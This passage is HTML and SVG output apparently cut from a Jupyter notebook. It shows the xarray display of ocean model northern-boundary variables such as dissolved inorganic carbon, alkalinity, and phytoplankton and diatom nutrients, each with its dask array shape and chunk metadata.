x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" 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for='data-a6fc3fc6-2714-481f-90b7-a0fc601b3150' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved inorganic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- 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for='attrs-82ca1a55-6925-4f29-aaae-9e4c3b157c40' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-9e6b0d71-8d7a-4547-8d77-6c8069978565' class='xr-var-data-in' type='checkbox'><label for='data-9e6b0d71-8d7a-4547-8d77-6c8069978565' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved inorganic carbon, alternative CO2</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-3f80481b-e9a8-41c5-9063-169fe7dcffcb' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-3f80481b-e9a8-41c5-9063-169fe7dcffcb' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-21b62342-a57d-4580-8544-424c53687bc2' class='xr-var-data-in' type='checkbox'><label for='data-21b62342-a57d-4580-8544-424c53687bc2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary alkalinity</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary alkalinity, alternative CO2</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal 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for='attrs-268ea4dc-c307-461c-84f8-1a1e7447cb73' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-58b8b4b3-3e1b-4063-90be-b332ef9be2ce' class='xr-var-data-in' type='checkbox'><label for='data-58b8b4b3-3e1b-4063-90be-b332ef9be2ce' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>DOP_north</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-d20f76eb-6ad4-4701-aa61-83949b3125e4' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-d20f76eb-6ad4-4701-aa61-83949b3125e4' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-fe36cd43-c5f9-4376-a6cb-75643798af02' class='xr-var-data-in' type='checkbox'><label for='data-fe36cd43-c5f9-4376-a6cb-75643798af02' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>northern boundary refractory dissolved organic phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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type='checkbox'><label for='data-c0ac8ccd-dfdd-460c-8ef3-2ebd8a3c6ce2' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary refractory dissolved organic nitrogen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", 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for='attrs-38512739-f84a-4547-8965-b3aa72c9955d' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7e5e4c69-d74e-447f-82d6-6f9eafa55613' class='xr-var-data-in' type='checkbox'><label for='data-7e5e4c69-d74e-447f-82d6-6f9eafa55613' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary refractory dissolved organic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>spChl_north</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-c503b6dd-af40-4c7d-90ec-acae1f550166' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c503b6dd-af40-4c7d-90ec-acae1f550166' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-997daedd-8e93-41ea-975b-34067967223b' class='xr-var-data-in' type='checkbox'><label for='data-997daedd-8e93-41ea-975b-34067967223b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary small phytoplankton chlorophyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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:</span></dt><dd>northern boundary small phytoplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-45e3c8a4-61d5-4214-a1a3-d44589164430' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary small phytoplankton phosphorous</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-2b80a027-ef70-4421-8092-5c377ff9b347' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-2b80a027-ef70-4421-8092-5c377ff9b347' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-9cb0183a-d399-440d-ac32-44b8afc9211b' class='xr-var-data-in' type='checkbox'><label for='data-9cb0183a-d399-440d-ac32-44b8afc9211b' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary diatom chloropyll</dd><dt><span>units :</span></dt><dd>mg/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>northern boundary diatom carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" 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for='attrs-5a176b8c-60cb-4fa8-a664-4cc26fa496d3' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-ee1026dd-dd69-4f80-997b-b22af6fcf885' class='xr-var-data-in' type='checkbox'><label for='data-ee1026dd-dd69-4f80-997b-b22af6fcf885' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary diatom iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-6150fa16-ae5c-4b50-8808-b90a24c7986c' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-6150fa16-ae5c-4b50-8808-b90a24c7986c' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-db385aaa-4fe7-441d-b289-47baff7593b1' class='xr-var-data-in' type='checkbox'><label for='data-db385aaa-4fe7-441d-b289-47baff7593b1' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary diatom silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph 